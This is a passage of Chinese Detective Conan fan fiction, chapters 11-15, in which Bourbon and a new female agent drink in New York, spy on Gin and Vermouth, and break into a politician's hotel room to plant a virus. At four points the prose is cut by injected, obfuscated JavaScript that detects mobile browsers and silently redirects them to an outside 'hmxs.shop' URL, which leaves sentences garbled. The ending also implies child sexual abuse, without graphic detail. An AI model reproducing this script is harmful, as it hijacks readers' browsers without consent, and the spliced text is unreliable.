顺带一提,剩下的百分之五十由微薄的薪水,繁忙的工作和恼人的上司构成。 至于为什么波本的态度前后差距这么大? 若间菊江自认为非常能够理解。 谁在上班的时候不是既想自己去死又想让同事去死呢? 不想给同事好脸色看实属人之常情。 如果波本在面对工作的时候还一副积极主动的态度,对所有人如沐春风的话,若间菊江才要怀疑他倒是是脑子坏掉了还是真的是琴酒口中的“卧底”了。 她始终坚信没人会喜欢工作,事出反常必有妖,最大的可能性就是对家公司派来的卧底想要努力工作升职搞垮组织。 应该不会真的有人走这个路线吧,那这效率也太低了。 若间菊江脑子里的想法一闪而过,随后便被她抛之脑后了。 放好行李,她已经完全清醒了,在房间里转了两圈后,若间菊江把视线放到了窗外繁华的夜景上。 二十分钟后,波本已经洗完澡打开了电脑准备继续处理工作,突然听到了门口传来敲门声。 他拉开门,发现若间菊江妆容精致地站在门口,一脸期待地向他发出邀请,“要不要一起出去喝一杯?” 波本挑眉,“为什么找我一起?” 若间菊江笑眯眯的,“当然是在工作前找搭档交流一下感情啦。” “而且,琴酒不是让你监视我吗?” 11.第 11 章 波本看着柯尔希,脑子里一时间闪过许多念头。 对方这次来找他是试探?亦或是警告? 总不能是真的邀请自己出去喝酒吧? 出发之前琴酒确实找过他,要求他监视柯尔希的一举一动。 “一旦发现那个女人的把柄立刻向我汇报。”琴酒的语气里的残忍让人毫不怀疑一旦柯尔希有什么问题,等待她的会是多么凄惨的下场。 他确实希望能够发现柯尔希的弱点,但也不打算完成琴酒的任务。 如今明知道琴酒要自己监视她,柯尔希还是主动找上门来了,这种反常的举动让波本更加警惕了。 “我原本是不打算这么做的。”波本像是突然松懈下来,舒了口气,语气有点无奈。 “欸?为什么?”若间菊江睁圆了眼睛,有点惊讶。 要知道,这种领导单独派遣的任务是最难摸鱼的了,若间菊江知道上次的交锋后琴酒肯定不会死心,所以这次主动提出要帮搭档完成任务,这也是对波本帮助她的回礼。 跟同事搞好关系也没什么坏处嘛。 反正若间菊江是不认为自己会有什么问题的,琴酒再怎么找人监视她也只会是白费力气,最后都是无用功。 结果没想到新同事根本不打算做这个任务,随心所欲到她这个深谙职场摸鱼潜规则的人都震惊了。 原来还可以这样吗?那她之前还是太老实了,不知不觉中卷起来了,怪不得很快就升职了,看来其他成员还是太水了。 可恶啊,若间菊江觉得之前的自己真傻,还是没能把握好组织里偷懒的尺度,简直亏了一亿日元。 “你很喜欢别人监视你吗?”波本不答反问。 “当然不喜欢啊。”若间菊江理所当然地回答,谁会想要被人一直盯着啊,又不是变态抖M。 波本抱着手臂靠在门框上,饶有兴趣地问,“那你还来?” “反正不管怎么样琴酒都不会善罢甘休的,与其躲躲藏藏,不如大大方方地展示给他看,反正他迟早会放弃的。” “而且,”若间菊江笑眯眯的,“琴酒只是想要从公事的角度了解我,又不是打算在私人的层面上骚扰我,还是可以忍受的。” “有这么上进的同事在,组织才能蒸蒸日上发展的更好嘛。” 若间菊江现在已经确认了琴酒就是那种脑子不好的勤奋型员工,认清这点后她对琴酒反而宽容了不少。 这么大个组织总得有人干活。 波本神色复杂地看着若间菊江,他第一次听到有人用这么轻松的语气形容琴酒的关注,这种松弛感在组织里也是头一份了。 “你就不怕我去跟琴酒举报?” “举报什么,我一直是在夸他欸。”若间菊江把头发掖到耳后,“况且波本你是个大好人,怎么会对同事这么残忍。” 波本甚至有点分不清柯尔希是认真的还是在反讽。 “我之前说的想要和你交流感情也是真的哦。”若间菊江真诚地看着他。 波本与她对视半晌,最终败下阵来,转身进了房间,“好吧,我会陪你去,不过需要等我一会儿。” 若间菊江顺势跟在波本身后进去,飞快地打量了一下波本的房间。 整体户型和她的房间一样,但是属于波本的东西寥寥无几,除了桌子上的笔记本电脑和他的行李箱,别的地方像是刚刚被客房服务打扫过一样整洁,打破了若间菊江对男性的一些刻板印象。 因为长时间没动,电脑屏幕已经自动锁屏了,波本走过去顺手把电脑合上,摘掉一直戴着的平光镜放在了旁边。 “你刚刚居然在工作吗?”若家菊江大为震惊。 她开门的时候就有注意到波本一副洗过澡后居家休闲的装扮,她还以为对方戴着眼镜是因为近视,没想到波本到达美国后居然连房间都不收拾就已经打开电脑准备工作了! 天哪她的搭档居然是琴酒二号吗? “处理一些事情而已。”波本避重就轻,从行李箱里拿出衣服后就往浴室走,把若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668331|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家菊江单独留在房间里。 若间菊江的视线在桌子上的电脑上停留了几秒,就转头找了个沙发安静地等波本换衣服。 虽然她见识过职场上那些勾心斗角的套路,今天我偷看你的文件,明天你删除我的数据,但是若间菊江本人是绝对不打算这么做的。 波本竟然就这么大大咧咧的让她和笔记本独处一室,还是太单纯了,若间菊江叹了口气,又往离电脑更远的地方挪了挪,恨不得把自己的手捆起来自证清白。 浴室里,波本几秒钟就已经换好了衣服,此刻正在侧耳倾听房间里的动静。 他是故意放柯尔希进来,并且给她制造单独留在房间的机会,这是一个很浅显的试探,但在组织这种地方会很好用。 外面放着的那台电脑里什么都没有,他刚刚获得代号,现在还在观察阶段,不会在这种时候和公安那边有太多联络。 大概过了一两分钟,波本才走出去,身上已经换成了衬衫,就看到柯尔希坐在房间里离电脑最远的沙发上,两只手放在膝盖上,像小学生一样乖巧地等待。 看见他出来了,柯尔希反而松了一口气的样子,随即严肃地开口,“波本,你这样做实在是太冒险了。” “嗯?”被对面先发制人,波本有些摸不着头脑。 “在组织里这样做是很危险的,绝对不能放自己的电脑和不熟的同事在一个屋子里,这可是职场的大忌!你没经历过是不会懂其中的风险的。”若间菊江一本正经地教育道。 波本一愣,但是很快跟上了若间菊江的思路,虽然不知道说什么好,但是…… “我们不是搭档吗?” 若间菊江的经验之谈突然卡壳,顿了几秒才无可奈何地说道,“波本你这样在组织里可是要吃亏的啊,还好你的搭档是我,我是不会在这种事情上坑你的。” “那还真是感谢了。” 波本微笑,他要怀疑之前打听到的传言的真实性了。 柯尔希,好像脑子有点不太好。 12.第 12 章 短短半天,波本对若间菊江的印象从“琴酒忌惮需要好好观察的对象”变成了“脑子不太好的组织奇葩”。 若间菊江对波本的印象从“大好人同事”变成“喜欢工作的神经病”再到“单纯的职场菜鸟”。 直到拉着波本到达酒店顶层的酒吧,若间菊江还在给波本传授职场经验,“做事不要太拔尖,尤其是在你根基还不稳定的时候,很容易被领导抢走功劳的。” “同事和朋友完全是两个概念,要有警惕心啊。” 说着说着,若间菊江突然发现什么不对劲,“你这么热爱工作还要放弃琴酒给你的任务?” 波本想要解释自己并不是工作狂,话到嘴边还是放弃了,“反正你也不喜欢这样不是吗?” 若间菊江停下脚步有点警惕地看着他,以往的经历让她对同事嘴里说出的这种暧昧的话有点应激,不过下一秒波本的话就打消了她的顾虑。 “更何况琴酒并不算我的上司,所以不用担心。” 作为情报组的成员,严格来说波本的上司应该是朗姆,所以糊弄一下琴酒也不是什么大事,只要不做得太明显就行了,他这不也是陪柯尔希出来了吗? 原来如此,若间菊江舒了一口气,脚步轻快地赶上波本,在波本帮她推开酒吧的大门后率先走进。 这家酒吧设置在酒店的顶层,只有酒店的客人才可以进入,巨大的落地窗可以无死角地俯瞰纽约的夜景。 酒吧内部放着舒缓的音乐,客人并不多,三三两两的小声交谈,整体氛围安静,很适合夜间小酌。 若间菊江拉着波本走到角落的卡座坐下,装饰用的盆栽刚好可以挡住绝大多数的视线,是一个不容易被人发现的绝佳位置。 “既然是出差期间出来喝酒,还是低调一点吧。”若间菊江是这么解释的。 波本对此没什么异议,他沉默地看着柯尔希把酒吧的招牌就挨个儿点了一杯,自己只要了一杯波本威士忌。 “来酒吧还要喝与自己代号同名的酒吗?搞不懂你们的归属感。”若间菊江吐槽。 “我只是没有晚上喝酒的习惯。”波本晃了晃酒杯,琥珀色的液体里冰球轻轻浮动,反射头顶昏暗的灯光。 “那看起来组织没有下班后和同事一起去居酒屋的风俗,真是个好消息。”若间菊江从她面前的一排酒中随手拿起一杯粉红色的,浅啜了一口,皱起眉毛,有些过于甜了。 “听起来你对这种事情深恶痛绝。”波本接话道。 “下班后还要忍着恶心去恭维那帮老男人,这和加班有什么区别?”若间菊江的语气带着厌恶。 波本若有所思,柯尔希似乎是用对待寻常企业的态度对待组织,在她眼里在组织里工作和在别的公司工作是一样的,看似是组织里最正常的人,其实是最不正常的。 “波本……”若间菊江突然说,对面的男人抬起头来,“好喝吗?” 波本反应过来对方是在指酒,而不是喊他,“还不错,味道香醇。感兴趣的话你可以自己试一下。” 若间菊江犹豫了一下,还是摇摇头,示意自己面前那一排酒,“我还有这么多没有解决。” “那还真是遗憾,只能等下次了。”波本耸耸肩故作叹息。 若间菊江叼着吸管支着侧脸直勾勾地盯着波本,半响突然开口道,“在外面喊酒名的代号还是太引人注目了,重新认识一下,我叫若间菊江。” 她再一次把手伸到波本面前。 “安室透。”波本,或者说安室透这次并没有像上次在琴酒面前那么敷衍,正色回应道。 两个人就这样在酒吧的小角落里诡异地重新认识了一次。 若间……这个姓氏在日本不算常见,但意外得有些耳熟,安室透在心里默念了一遍,决定回日本后让公安那边查一下。 “啊,这么一说还不知道琴酒的名字是什么呢,至于伏特加……算了不好奇。”若间菊江说道,“原本在机场的时候想要偷偷看一下琴酒的护照,没想到伏特加那家伙像小鸡跟着鸡妈妈一样黏着琴酒,挡得严严实实的!说真的伏特加也该减减肥了吧,这种身材出任务不费劲吗?” 之前从没有人把琴酒和鸡妈妈联系在一起,不过确实很形象,安室透想像了一下那个画面,难掩笑意,喝了一口酒才把嘴角勉强压下去,“嗯、咳……我也很好奇,”安室透真诚地说,“等你打听到了请务必告诉我。” 即使是假名也有相当的价值。 “当然啦。”若间菊江一口应下,跟关系好的同事分享八卦可是上班难得的趣事。 两个人安静下来,若间菊江侧头望向窗外,纽约即使是晚上也是灯火璀璨的,对面的大楼上播放着这一届议员的选举宣传片,视频里的议员一脸正气侃侃而谈着,从容又自信。 若间菊江打了个哈欠,可能是醉意上来了,她又有些昏昏欲睡,现在回房间睡觉继续倒时差或许是个不错的选择。 她站起身,睁大眼睛,努力让自己看起来没那么困,“我去一下洗手间。” 然后就扔下安室透摇摇晃晃地走了。 安室透原本以为女孩子上洗手间慢一点也正常,但等了十几分钟若间菊江还没有回来,他皱起眉,打算去找找。 他本不应该担心一个组织人员的武力值,但若间菊江刚刚已经有些喝醉了,如果碰到什么难缠的家伙的话…… 不过安室透的担心并没有持续多久,还没走两步,安室透就发现了若间菊江的身影。 只见她整个身子躲在酒吧的装饰柱后面,露出半个脑袋探头探脑地往外瞅,鬼鬼祟祟十分可疑,酒吧的服务生已经往这边看了好几眼了。 安室透对服务员做出一个抱歉的表情,走到若间菊江的身后,手还没有落到她的肩膀上,若间菊江就猛地回头,看到是安室透神情才松懈下来,手指竖在嘴边让他噤声,眼睛亮晶晶的,完全看不出刚刚的一丝睡意,全是兴奋的光芒,指了指前面,示意安室透跟她一起偷窥。 隔着各种装饰物,安室透在吧台前看到了一个熟悉的身影。 琴酒还是那副一身黑的打扮,在屋子里而没有摘下那顶帽子,银白的长发披在身后,嘴里点着一根烟。 他旁边坐着一个金色长发的女人,就算只看背影也有点熟悉,她凑到琴酒耳边说了什么,然后抽掉琴酒嘴里的烟放到自己嘴里吸了一口,吐出一个漂亮的眼圈。 若间菊江瞪大了眼睛,难以用语言表达出她的惊讶。 五分钟前,她在洗手间洗完手,对着镜子补好了刚刚粘在吸管上的口红,满意地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678987|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头准备去结账,没想到刚走出去就看到琴酒和一个大美女一前一后地走进来。 她的身体反应比大脑快,马上回身躲回洗手间,没有让那两个人发现,又过了几秒,才悄悄伸出头,改换阵地,藏在柱子后面观察。 倒也不是她对琴酒的私生活有多么好奇,只是两个人进来的时候,若间菊江眼光一扫,马上就认出了那位金发大美女是美国著名影星克里斯温亚德。 那可是获得了奥斯卡奖的美女大明星!怎么会和琴酒凑到一起? 若间菊江按捺不住自己的好奇心,沉迷暗中观察,完全遗忘了被她抛下的安室透,直到刚刚安室透找过来,她看到了这令人震惊的一幕。 可能是因为震撼所以忘记了收敛存在感,克里斯温亚德突然扭头朝这边看来,长期在镜头下工作的缘故,她对视线很敏感。 安室透眼疾手快地揽过若间菊江往后撤,装饰柱将两人挡得严严实实。 克里斯温亚德朝那个方向看去,没有发现什么可疑的人,就收回了视线。 “怎么了?”琴酒注意到身边人的动作,问道。 “没什么,也许是我误判了。”她没有说什么,低头又吸了一口烟。 琴酒哼笑一声,拿起酒杯喝了一口,“离开日本太久了,嗅觉失灵了吗,贝尔摩德?” 贝尔摩德勾起红唇,语焉不详,“那要试过才知道了。” 另一边,安室透已经带着若间菊江绕到了安全位置,若间菊江回过神来,第一件事就是退开一步拉开与安室透的距离。 安室透看着她条件反射般的动作若有所思。 即使没有表现出来,但是柯尔希似乎很讨厌男人。 若间菊江求证似地看向安室透,声音低得像是在自言自语,“他俩……刚刚是在调情?” 看见琴酒在调情不奇怪,毕竟正常男人都有生理诉求,看见克里斯温亚德不奇怪,毕竟这里是美国,他们住的也是高档酒店,偶遇很正常。 但是看见琴酒和美女大明星调情就很震撼了啊! 安室透给了若间菊江一个肯定的眼神,点了点头。 若间菊江痛苦地闭上眼,脱口而出,“琴酒怎么配的啊。”语气活脱脱像是感概一朵鲜花插在了牛粪上。 安室透:…… “我就当什么都没听到了。”安室透有些无奈,这么下去若间菊江的口无遮拦迟早会被当事人知道。 “时间不早了,我送你回房间吧。”安室透看了看表,提议道。 若间菊江无所谓地点点头,走到一半才想起什么,作势要往回走,“我还没结账……” “已经结完了。”安室透说道,“让女孩子请客是非常不绅士的行为。” 若间菊江眨眨眼,脚尖又收了回去,装作没听到后半句话,“好吧,那下次就轮到我了。” 安室透没有拒绝若间菊江关于“下次”的邀约,虽然和对方说话很耗费心力,但是这同样有助于收集组织成员的信息,今天不就有意外收获吗? 被安室透送到门口,和对方互道晚安后,若间菊江梳洗完毕躺倒床上,心里还在回味刚刚在现场看到的大八卦。 若间菊江咂咂嘴,望着天花板。 原来琴酒最爱的人不是伏特加啊? 13.第 13 章 带着这个想法,第二天若间菊江看伏特加的眼神中都透露着怜悯。 可怜的伏特加被若间菊江用这种眼神盯了一天,浑身不自在。 柯尔希这个女人今天到底发什么神经,再这么盯着他他都要吃不下饭了! 就连琴酒也发现了若间菊江的反常,不过一等琴酒的视线转过来,若间菊江就会若无其事地移开目光,装作什么都没发生过一样扭过头兴致勃勃地看一旁的风景。 仿佛纽约街头聚在墙角的青少年,匆匆而过的打工人和躺在地上的流浪汉很吸引人一样。 车子时不时会路过一些街头演讲,台上的政客慷慨激昂,为自己所支持的议员拉选票,若间菊江的目光扫过台下激动得面红耳赤的选民,眼中毫无波澜。 他们这次的目的地是组织在纽约的一处据点。 若间菊江有的时候真的难以理解组织成员的一些做法,每次碰头非要从市中心跑到郊外去,开完会再从郊外跑回来,一不小心就会沦落到上次她那种需要蹭陌生人车的境地。 市内找个人少的地方很困难吗? 如果琴酒和伏特加能够改变一下穿衣风格,放弃那种醒目的一身黑的穿搭,他们就算站在大街上聊天也不会有人在意。 不过到达了目的地,若间菊江发现这一次确实有掩人耳目的必要。 昨天晚上见过的大明星克里斯温亚德倚靠在重型机车上,抱着手臂看着他们的车子缓缓靠近。 “贝尔摩德,”琴酒不想废话,“这是组织的新人,柯尔希和波本。” “哇偶,还是办公室恋情。”若间菊江小小声感叹。 她旁边的安室透饱含深意地看了她一眼,若间菊江无辜地回望。 比起若间菊江不着调的思路,安室透思考的内容就要严肃得多了。 组织的根基比他想像的还要深,就连世界瞩目的大明星都是组织成员,甚至看起来地位还不低,不知道其他的行业又被组织渗透了多少。 不过这也给琴酒和克里斯温亚德之间的关系做出了解释。 这钟事情在组织里并不少见,不谈感情,只解决需求,组织里的人方便合拍固定,也不用在出任务的时候绞尽脑汁遮掩,一向是组织里成年男女的最佳选择。 看琴酒和贝尔摩德的样子,估计也是这样的类型。 安室透心里大概有些谱了。 不过若间菊江看起来是完全没谱。 一路上那种闲散的状态也消失了,整个人神采奕奕,沉浸在同事的八卦又更新的快乐里无法自拔。 就连琴酒公布这次来美国的主要任务的时候还是一副“不在工作中”的状态。 “柯尔希。”琴酒冷声警告道。 若间菊江回过神来,面对琴酒冰冷的视线,满不在乎地拉着长音,“到,到。我在这里呢。” 开会的时候开小差多正常,琴酒还真是严格。 这次的任务说难也不难,说简单也不简单。 作为世界上最重要的几个城市之一,纽约最近正在经历最混乱的时期——议员换届选举。 他们这次的目标就是本次议员选举的热门人物巴特布朗。 作为民调支持率遥遥领先的议员候选,巴特以正直强硬的形象著称,未来的政治生涯一片大好,而他所推崇的一些政策并不有利于组织在美国的发展,组织这次派他们前来,就是为了阻挠巴特当选。 “Intersecting~”若间菊江一个词拐了好几个弯,显得有些阴阳怪气,“日本干涉美国选举。” 虽然她自己觉得这是一个不错的冷笑话,不过显然在场的各位都不懂她的幽默。 场面沉默了几秒,琴酒眯着眼睛看着她,波本眼观鼻鼻观心地站在一边,伏特加帽子下的脑门已经渗出了汗珠,就在他觉得自己下一秒就要窒息的时候,贝尔摩德扑哧笑了出来,打破了几近凝滞的气氛。 “真是可爱的小姐,”贝尔摩德轻笑着评价。 若间菊江根本不觉得刚刚的安静有什么不对,矜持地点点头,收下了贝尔摩德的夸奖。 琴酒闭了闭眼睛,突然有点质疑自己让柯尔希来美国究竟是不是一个正确的选择,让这个疯女人和贝尔摩德凑在一起一定不会有好事发生。 如果不是BOSS看重这两个女人,他真想一人给她们一颗子弹,帮组织除掉祸害。 若间菊江完全不知道身边同事的危险想法,在扑捉到贝尔摩德释放的信号后,就开始向贝尔摩德的方向缓慢移动,等安室透发现的时候,若间菊江已经从他身边消失了,一转眼就看到贝尔摩德的摩托车旁,一瓶柯尔希正笑得阳光灿烂。 如果这个世界上多一些美女姐姐,那不敢想像这个世界会变得多么美好。 若间菊江站在贝尔摩德身边,嗅到对方身上似有若无的香水的味道,神清气爽地想。 组织这份工作好是好,就是男的太多,她目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690348|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就接触到贝尔摩德这一位女性代号成员,难免有点兴奋。 “所以这次的任务是跟你合作吗?”若间菊江完全忽略了一边的琴酒,直接向贝尔摩德提问。 “没错。我可以帮你变成任何人……”贝尔摩德的手从若间菊江的脸上拂过,指尖勾勒着她的脸庞,“不过这么美丽的脸蛋遮起来真是可惜了,你有兴趣跟我一起去拍电影吗,亲爱的?” 若间菊江的思绪飘忽了一瞬,不过很快又落回身体里,虽然跟美女一起工作很好,但是当明星有悖于她的职业规划,所以她十分心动后还是遗憾拒绝,语气很坚定,“谢谢但还是算了。” 之前走在大街上,若间菊江不是没有被星探搭讪过,不过她一直觉得不合适,所以连尝试都没有过。 开什么玩笑,如果要让她一整天就生活在镜头之下,毫无摸鱼的机会,她还不如找琴酒的枪口撞死呢,好歹死得干脆一点。 “令人遗憾。”贝尔摩德耸耸肩,被拒绝了,但是她对柯尔希的兴趣更加浓厚了,目光扫过在一旁没什么存在感的波本,贝尔摩德侧身跨上摩托车,戴好一直夹在臂弯里的头盔,“那就任务的时候见了。”说完遍扭动油门潇洒离去。 若间菊江望着贝尔摩德的背影,竟然显得有些眼巴巴,一回头看着面前的三个男人,眼前一黑,果然快乐的时光总是短暂的。 晚上,安室透正在房间里对着电脑敲敲打打,脸上的平光镜反射出电脑的蓝光,神情十分严肃,他来美国刚刚两天,已经稍微摸清了美国这边的人员架构和主要的代号成员,其中最重要的就是贝尔摩德,这个女人绝对没有表面上看上去的那么友好。 安室透捏了捏鼻梁,缓解了一下酸痛的眼睛,只有若间菊江会觉得贝尔摩德很好相处。 也许是心有灵犀,才想到若间菊江,房间门口的门铃就响了起来,伴随着的还有若间菊江的敲门声,“安室你在家吗?” 安室透不想纠正若间菊江的一些用词,确定电脑管好后才拉开门,“晚上好,有什么事?” 被这么一问,若间菊江的眼神反倒开始飘忽了,有一个问题她纠结了一下午也没想出一个合理的解释,最后她实在是忍不住了,还是跑过来骚扰自己的好搭档。 “琴酒和贝尔摩德是情侣的话,你说为什么他俩早上没有在一起啊?” 安室透:…… 他或许永远也猜不透若间菊江看似聪明冷静的大脑里到底在思考什么东西。 14.第 14 章 如果他对面是一个纯情的高中生,那安室透应该会编一个合适的理由告诉对方,“两个人可能早上有各自的任务需要处理。” 如果他对面是组织里的其他同事,那他会毫不留情地关上门让门板撞击对方的鼻子。 可惜现在站在他面前的是他的未来好搭档兼他需要搞好关系的对象,安室透有点头疼地揉了揉太阳穴,认命地说,“因为他们根本就不是情侣。” 若间菊江马上明白了安室透暗示的意思,有点失望的同时,眼神也变得复杂且警觉起来了,“贝尔摩德她,是自愿的吗?” “以她在组织里的地位,应该没人能强迫她。”安室透正色说道。 “那就好。”若间菊江点点头,语气没什么变化,但安室透还是敏锐的察觉到对方松了一口气。 “这种事情在组织里还是挺常见的。”安室透想了想,多解释了一句。 若间菊江皱眉,不理解但是尊重,“不愧是跨国企业,氛围就是开放。” 安室透一时不知道怎么评价“跨国企业”这个定位,实际上他觉得大半夜站在酒店的走廊里和组织成员谈论这种事情也很怪异。 不知道从哪开始吐槽这件事比较好,安室透决定眼不见心不烦,“时间已经不早了,你也应该回去了吧?明天还有任务,如果搞砸了我是不会帮你在琴酒面前说好话的。” 若间菊江撇撇嘴,不太满意,“不要在夜生活刚刚开始的时候说这种扫兴的话啦,组织成员还要那么早睡觉吗?” 说完她从头到脚打量了一遍安室透,“明明外表看起来像是自由热情的外国人,骨子里却有点日本传统的保守观念呢?” 安室透搭在门框上的指尖微微用力,心下一紧,他进入组织时编造的身份就是在国外待了很多年的日裔,因为外表才没有被组织怀疑公安的真是身份,柯尔希的话触动了他敏感的神经,使他高度警觉起来了。 是随口抱怨,还是有心试探? “为了你明天的任务着想罢了,如果你想出去玩,我也可以奉陪哦。”安室透扬起一个笑容,连嘴角勾勒的弧度都很标准。 听他这么说,若间菊江倒是摆摆手,“算了算了,你说的也有道理,明天见啦,搭档。”然后就脚步轻快地离开了。 安室透看着若间菊江的背影,面色微沉,直到她的身影消失在走廊里,他才关上房门回到电脑前。 在新建的文档里打出若间菊江的名字,安室透对着屏幕沉思,若间菊江刚刚的话像是试探,但又在抛出话题后迅速抽身离开了,为什么? 安室透靠在椅子里,手背抵着额头,若间菊江虽然总是表现出很跳脱的一面,但绝对不是简单的角色,从她很快就获得代号这一点就能看出来,他以后还是应该要再谨慎一点。 柯尔希比贝尔摩德更加不稳定。 收获搭档超高评价的柯尔希完全没觉得自己难以琢磨,她只是突然发现了搭档居然还有一点操心属性这件事。 不过在第一次见面的时候对方就提醒过女生一个人要小心,这大概就是老好人的通用特质吧。 在组织这么人情冷漠的地方还有这么善良的同事真是太好了! 不过想起琴酒之前私底下交给她的任务,若间菊江轻哼一声,躺进大床里,把自己裹成一个卷,蹭了蹭枕头。 都怪琴酒,她要变成在背后给好同事挖坑的小人了,啊,菊酱不是故意的! 若间菊江就这么怀着内疚十分快速地进入了香甜的梦乡。 *** 这次任务的目标巴特布朗在民众眼里应该算是一个传统意义上的好人,在上一任期他曾在学校教育、城市建设和政府救济等多个方面做出不菲的政绩,但也因为在其他方面经常和老牌资本唱反调而一直受到旧资本的打压。 若间菊江在昏暗的车里翻看手中的平板,平板里是巴特布朗的资料,详实地记录着他的经历以及今天晚上会场的各种信息。 她的手指划过一条条记录,在“巴特布朗热心于儿童救助事业,曾主导在纽约境内建立多家孤儿救助场所”这句话上停顿了一下,轻轻在屏幕上点了点。 贝尔摩德坐在副驾驶,回头交代道,“巴特布朗常年住在这家酒店,你们的任务就是潜进他的房间,把这个U盘里的病毒放到他的电脑里,”她把U盘抛向后座,安室透伸手接住,“任务不算困难,但是要万无一失,组织无法接受巴特布朗当选后带来的损失。” 安室透眸光一闪,点点头表示知道了,若间菊江则低着头,没有说话。 “柯尔希?”贝尔摩德喊她。 若间菊江抬起头,平静地问道,“最坏的结果是?” 贝尔摩德一愣,很快反映过来,嘴角勾起一抹笑意,“最坏的结果当然是——他再也无法选举了。” 若间菊江若有所思。 “不过柯尔希,这里是在美国,在那群政客的脚下,还有虎视眈眈的猎犬,小心闹得太过被咬伤。”贝尔摩德好意提醒道。 “是吗?”若间菊江漫不经心地熄灭平板,“我最喜欢狗狗了。” 安室透皱起眉,他可不想替若间菊江收拾烂摊子。但是这是两个人第一次合作,能把握对方的行事风格也不错。 “时间快到了,行动吧,”贝尔摩德看了看腕表,说道,“成功之后我会在楼下接应。” “失败了就不来接我们了吗?”若间菊江下车的时候好奇地问道。 “当然不会,”贝尔摩德手臂支在车窗边,点起一根烟,“只不过你们看到的就会是琴酒了。” 若间菊江露出嫌弃的表情,在她开口说一些很冒犯的话之前,安室透眼疾手快地将若间菊江拉走,“快走吧,一会儿就错过换班时间了。” 贝尔摩德摇下车窗朝两人挥手,“Good luck.” 若间菊江只来得及回给贝尔摩德一个灿烂的笑容。 在来之前,贝尔摩德就在两人的脸上涂涂抹抹,不出一会儿,两张出色的脸就变得平平无奇,这也方便了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若间菊江回头看看那两位睡得不省人事的员工,怜悯道,“多休息一会儿吧先生们,这可是你们今天晚上最后的睡眠了。” 到达巴特布朗房间的路上畅通无阻,不知道这位是过于信任酒店的安保还是提前打好了招呼隐藏他的大秘密,不管怎么样,这都便宜了若间菊江。 没隔几秒,安室透也推着他的工具车上来了。 这一整层都只服务巴特布朗一个人,走廊里安安静静的,车轮压在地毯上没有发出一丝声音。 若间菊江冲安室透比了个手势,对方点点头,凑到门前,拿出早就准备好的门禁卡,只听“叮”的一声响,房间里一直被隔绝的声音才传出来。 淫靡的声音让两个人都沉了脸色,尖锐的哭喊声显然不属于成年人。 若间菊江掏出手枪阴着脸冲了进去,“FBI,open the door!” 15.第 15 章 安室透被若间菊江这一句震住了,表情空白,动作也停顿了一下,不过他很快就凭借优秀的适应能力找回了大脑,可惜就这半秒不到时间,两人的距离就拉开了一个身位。 若间菊江沉着脸踹开套间的房门,举着枪对准床上的身影。 巴特布朗已经动作快速地用被子把自己盖住,羞恼让他涨红了脸,还算英俊的脸上找不到一丝竞选宣传片里文质彬彬的影子,更像是一个气急败坏的西红柿。 “你是谁,谁允许你进来的?”他怒斥着。 若间菊江的枪口始终对准巴特布朗,身体却缓缓移到床边,把小沙发上搭着的毯子扔到了在床角瑟瑟发抖的小女孩身上,对方颤抖着手用毯子裹住自己,往若间菊江的方向移了移。 “总统先生收到指控,声称巴特布朗议员利用职务便利满足自己恶心的欲望,我们FBI收到上级命令前来调查这件事,没想到抓了个正形啊。”若间菊江沉声道,听起来煞有介事。 在外间抓紧时间处理电脑的安室透心情复杂。 虽然在相处中就已经对若间菊江的性格有预料,但是她刚刚喊出的那句话还是让敌方和同伴都受到了很大的惊吓。 安室透甚至一时分不清她倒是是单纯认为冒充FBI在美国行动能够更方便一点,还是若间菊江真的是FBI的卧底,在执行过程中因为太过愤怒而突然暴露。 “FBI?你的搜查令呢?”巴特布朗怒极反笑,质问道。 “这种东西只要后期补一个给民众看到就可以了,”若间菊江满不在意,“而布朗先生,还是先担心担心你自己吧,毕竟现在可是证据确凿。” 一边说着,若间菊江缓慢地扳动了保险栓,“喀哒”的声音让两人看似势均力敌的对峙瞬间有所倾斜。 巴特布朗看对方像是真的想动手,态度很快就软了下来,他举起双手,咽了口唾沫,“听我说,女士,别冲动,我想这里面一定有误会。” “我认为没有。”若间菊江的目光扫视了一圈整个房间,里面的摆设非常普通,书桌上摆着文件和书籍,一边的小几上放着两杯水,看起来这里的主人只是一个干干净净、清清白白的政客,除了…… 